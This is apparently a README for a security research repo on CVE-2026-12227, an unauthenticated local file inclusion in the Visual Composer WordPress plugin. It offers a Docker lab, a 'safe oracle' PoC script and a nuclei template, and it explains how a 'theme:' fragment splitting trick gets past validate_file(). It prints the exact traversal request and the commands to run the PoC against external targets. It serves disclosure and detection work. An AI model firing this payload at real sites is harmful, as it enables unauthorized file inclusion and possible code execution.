Docker-лаборатория для валидации и PoC безопасного оракула для CVE-2026-12227 — неаутентифицированного LFI в Visual Composer через vcv-template, с шаблоном обнаружения nuclei.
Материалы для исследования безопасности, позволяющие воспроизвести и подтвердить CVE-2026-12227: неаутентифицированное локальное включение файлов (LFI) в механизме разрешения шаблонов страниц Visual Composer Website Builder (CVSS 3.1 9.8), а также подтверждённое расхождение с исправлением от вендора (см. ниже).
locate_template(), из исправления CVE-2026-87902) — сам код плагина
так и не был исправлен по состоянию на 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — CWE-98Используйте только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. PoC запускает безвредные oracle-включения (вывод стандартных
wp-links-opml.php/xmlrpc.php). Никакого размещения файлов, никаких записей, никаких RCE-полезных нагрузок.
Статус: подтверждено в предоставленной лаборатории.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
Доказательство на уровне маркера (размещённый PHP-файл в uploads/ включён и выполнен,
неаутентифицированный GET) является частью доказательств лаборатории и воспроизводится
командой ./lab verify на уязвимом варианте.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
подключается к template_include с приоритетом 11 без проверки аутентификации:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() отклоняет литерал ... Но значение объединяется только после
проверки, поэтому разделение каждого обхода через границу theme: позволяет обойти её:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) возвращает необработанные
$_POST/$_GET/$_REQUEST, поэтому выше по потоку их тоже ничто не очищает.
locate_template() разрешает кандидата с помощью file_exists(), который учитывает
сегменты ...
WordPress 7.1.2 (исправление CVE-2026-87902) добавил
_wp_is_template_path_allowed() внутри locate_template()
(wp-includes/template.php). Этот шлюз ядра отклоняет объединённого кандидата
с обходом, поэтому на WP 7.1.2+ эта цепочка плагина маскируется ядром — сам
плагин так и не был исправлен. Атрибуция подтверждена в лаборатории: на 7.1.2
сток (sink) всё ещё выполняется, но ограничен каталогом темы; на 7.1.1 он выходит за его пределы.
Практическое следствие: сайт, работающий на Visual Composer 45.16.3 (текущий релиз, заявленный как исправленный) на WordPress <= 7.1.1, по-прежнему уязвим к неаутентифицированному LFI на сегодняшний день. Нейтрализует его только обновление ядра WordPress.
Требования: Docker с Compose v2, Python 3.10+ на хосте.
./lab verify
Запускает три контроля: уязвимый (WP 7.1.1 + VC 45.16.1, oracle должен сработать), исправленный (WP 7.1.2 + VC 45.16.1, oracle должен молчать), последний (WP 7.1.1 + VC 45.16.3, oracle должен сработать — демонстрация расхождения с исправлением).
Уязвимый контроль:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Исправленный контроль:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Запуск PoC вручную (по умолчанию loopback; для авторизованных внешних целей требуется явное переопределение):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
Шаблон nuclei (nuclei/cve-2026-12227.yaml) запускает те же oracle-полезные
нагрузки по якорям homepage + page_id на глубинах 3-6 с
остановкой при первом совпадении.
| Комбинация | Результат |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= код 45.16.0) | LFI воспроизведён (oracle + выполнение размещённого маркера) |
| WP 7.1.1 + VC 45.16.3 (текущий релиз) | LFI всё ещё срабатывает |
| WP 7.1.2 + VC 45.16.1 | Молчит (маскируется шлюзом ядра) |
| VC 45.16.2 | diff исправления изучен; уязвимый путь без изменений (отдельно не запускался) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Не закоммичено: assets/ (zip-архивы плагинов), .lab-state, __pycache__/.
| Утверждение | Статус |
|---|---|
| Неаутентифицированный LFI до выполнения PHP вне каталога темы | Доказано (oracle + размещённый маркер) |
| Отсутствие исправления вендора вплоть до 45.16.3 | Доказано (diff кода + живой запуск на 45.16.3) |
| Маскирование ядром WP 7.1.2 | Доказано (тот же запрос молчит на 7.1.2, срабатывает на 7.1.1) |
| Семантика глубины | 3 подъёма до docroot из themes//; перебор охватывает 3-6 |
| RCE через цепочки pearcmd/write на реальных целях | Не выполнялось (PoC только с безопасным oracle) |
| 45.16.0 (исходный затронутый релиз) | Побайтово идентичен 45.16.1; его zip с wp.org не содержит vendor/ и не может быть установлен |
В рекомендациях указано, что исправление появилось в 45.16.1, но уязвимый путь
кода не изменён ни в одном релизе вплоть до 45.16.3 (подтверждено diff'ами дерева
и живым запуском). Если вы поддерживаете Visual Composer: viewPageTemplate() должен
повторно валидировать (или отклонять) значение после удаления theme:, а не до него.
Сайтам не следует полагаться на обновления плагина в этом случае — именно обновление
ядра WordPress 7.1.2 фактически закрывает уязвимость.
Запускайте этот репозиторий только в системах, которыми вы владеете или на тестирование
которых у вас есть явное разрешение. Драйвер лаборатории отклоняет неизвестные варианты,
PoC отклоняет не-loopback цели, если не указан --allow-authorized-non-loopback, а порт
Compose привязан к 127.0.0.1.
См. SECURITY.md для порядка обработки раскрытия. Этот репозиторий не содержит производственных целей, данных клиентов, токенов доступа или доказательств из реальных систем.
MIT — см. LICENSE.